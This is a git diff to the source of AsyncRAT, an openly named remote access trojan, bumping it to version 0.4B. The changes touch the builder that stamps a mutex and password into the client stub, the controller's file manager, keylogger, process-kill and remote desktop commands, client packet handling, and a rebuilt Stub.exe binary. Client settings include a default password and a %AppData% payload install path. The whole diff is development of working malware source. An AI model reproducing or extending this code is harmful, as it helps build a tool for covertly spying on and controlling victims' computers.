diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs
index 8f63445..dcb012c 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Builder.cs
@@ -56,7 +56,7 @@ namespace AsyncRAT_Sharp.Forms
                                         method.Body.Instructions[i].Operand = chkAnti.Checked.ToString().ToLower();
 
                                     if (method.Body.Instructions[i].Operand.ToString() == "%MTX%")
-                                        method.Body.Instructions[i].Operand = Path.GetRandomFileName();
+                                        method.Body.Instructions[i].Operand = Guid.NewGuid().ToString();
 
                                     if (method.Body.Instructions[i].Operand.ToString() == "NYAN CAT")
                                         method.Body.Instructions[i].Operand = Settings.Password;
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs
index fd6847f..105a8c1 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FileManager.cs
@@ -27,7 +27,7 @@ namespace AsyncRAT_Sharp.Forms
                     msgpack.ForcePathObject("Packet").AsString = "fileManager";
                     msgpack.ForcePathObject("Command").AsString = "getPath";
                     msgpack.ForcePathObject("Path").AsString = listView1.SelectedItems[0].ToolTipText;
-                    C.BeginSend(msgpack.Encode2Bytes());
+                    ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
                     toolStripStatusLabel1.Text = listView1.SelectedItems[0].ToolTipText;
                 }
             }
@@ -47,7 +47,7 @@ namespace AsyncRAT_Sharp.Forms
                 {
                     msgpack.ForcePathObject("Packet").AsString = "fileManager";
                     msgpack.ForcePathObject("Command").AsString = "getDrivers";
-                    C.BeginSend(msgpack.Encode2Bytes());
+                    ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
                     return;
                 }
                 path = path.Remove(path.LastIndexOfAny(new char[] { '\\' }, path.LastIndexOf('\\')));
@@ -62,7 +62,7 @@ namespace AsyncRAT_Sharp.Forms
                 MsgPack msgpack = new MsgPack();
                 msgpack.ForcePathObject("Packet").AsString = "fileManager";
                 msgpack.ForcePathObject("Command").AsString = "getDrivers";
-                C.BeginSend(msgpack.Encode2Bytes());
+                ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
                 return;
             }
 
@@ -151,7 +151,7 @@ namespace AsyncRAT_Sharp.Forms
                 msgpack.ForcePathObject("Packet").AsString = "fileManager";
                 msgpack.ForcePathObject("Command").AsString = "getPath";
                 msgpack.ForcePathObject("Path").AsString = toolStripStatusLabel1.Text;
-                C.BeginSend(msgpack.Encode2Bytes());
+                ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
             }
             catch
             {
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs
index f7c0674..5b5c040 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Keylogger.cs
@@ -7,6 +7,7 @@ using System.Data;
 using System.Drawing;
 using System.Linq;
 using System.Text;
+using System.Threading;
 using System.Threading.Tasks;
 using System.Windows.Forms;
 
@@ -32,7 +33,7 @@ namespace AsyncRAT_Sharp.Forms
             MsgPack msgpack = new MsgPack();
             msgpack.ForcePathObject("Packet").AsString = "keyLogger";
             msgpack.ForcePathObject("isON").AsString = "false";
-            C.BeginSend(msgpack.Encode2Bytes());
+            ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
         }
     }
 }
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs
index 747eed5..23308c1 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.cs
@@ -5,6 +5,7 @@ using System.Data;
 using System.Drawing;
 using System.Linq;
 using System.Text;
+using System.Threading;
 using System.Threading.Tasks;
 using System.Windows.Forms;
 using AsyncRAT_Sharp.MessagePack;
@@ -39,7 +40,7 @@ namespace AsyncRAT_Sharp.Forms
                         msgpack.ForcePathObject("Packet").AsString = "processManager";
                         msgpack.ForcePathObject("Option").AsString = "Kill";
                         msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text;
-                        C.BeginSend(msgpack.Encode2Bytes());
+                        ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
                     });
                 }
             }
@@ -52,7 +53,7 @@ namespace AsyncRAT_Sharp.Forms
                 MsgPack msgpack = new MsgPack();
                 msgpack.ForcePathObject("Packet").AsString = "processManager";
                 msgpack.ForcePathObject("Option").AsString = "List";
-                C.BeginSend(msgpack.Encode2Bytes());
+                ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
             });
         }
     }
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs
index b56fd80..ec51fa7 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs
@@ -12,6 +12,7 @@ using System.Threading.Tasks;
 using System.Windows.Forms;
 using AsyncRAT_Sharp.Sockets;
 using AsyncRAT_Sharp.MessagePack;
+using System.Threading;
 
 namespace AsyncRAT_Sharp.Forms
 {
@@ -28,7 +29,7 @@ namespace AsyncRAT_Sharp.Forms
         public int FPS = 0;
         public Stopwatch sw = Stopwatch.StartNew();
         public Stopwatch RenderSW = Stopwatch.StartNew();
-        public IUnsafeCodec decoder = new UnsafeStreamCodec(80);
+        public IUnsafeCodec decoder = new UnsafeStreamCodec(60);
 
         private void timer1_Tick(object sender, EventArgs e)
         {
@@ -43,7 +44,7 @@ namespace AsyncRAT_Sharp.Forms
                 MsgPack msgpack = new MsgPack();
                 msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                 msgpack.ForcePathObject("Option").AsString = "true";
-                C.BeginSend(msgpack.Encode2Bytes());
+                ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
                 decoder = new UnsafeStreamCodec(60);
             }
         }
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe
index 6ab68eb..e7d8b45 100644
Binary files a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe and b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe differ
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
index 150ce3f..4c362e2 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
@@ -14,6 +14,6 @@ namespace AsyncRAT_Sharp
         public static string Password { get; set; }
         public static Aes256 aes256{ get; set; }
 
-        public static readonly string Version = "AsyncRAT 0.4";
+        public static readonly string Version = "AsyncRAT 0.4B";
     }
 }
diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs
index 3c508eb..20bcc3a 100644
--- a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs	
+++ b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs	
@@ -96,12 +96,14 @@ namespace Client.Handle_Packet
                             {
                                 case "false":
                                     {
+                                        if (RemoteDesktop.RemoteDesktop_Status == false) return;
                                         RemoteDesktop.RemoteDesktop_Status = false;
                                     }
                                     break;
 
                                 case "true":
                                     {
+                                        if (RemoteDesktop.RemoteDesktop_Status == true) return;
                                         RemoteDesktop.RemoteDesktop_Status = true;
                                         RemoteDesktop.CaptureAndSend();
                                     }
diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs
index efca5d4..884dc6b 100644
--- a/AsyncRAT-C#/Client/Settings.cs
+++ b/AsyncRAT-C#/Client/Settings.cs
@@ -8,7 +8,7 @@ namespace Client
     {
         public static readonly string Ports = "6606";
         public static readonly string Host = "127.0.0.1";
-        public static readonly string Version = "AsyncRAT 0.4";
+        public static readonly string Version = "AsyncRAT 0.4B";
         public static readonly string Install = "false";
         public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
         public static string Password = "NYAN CAT";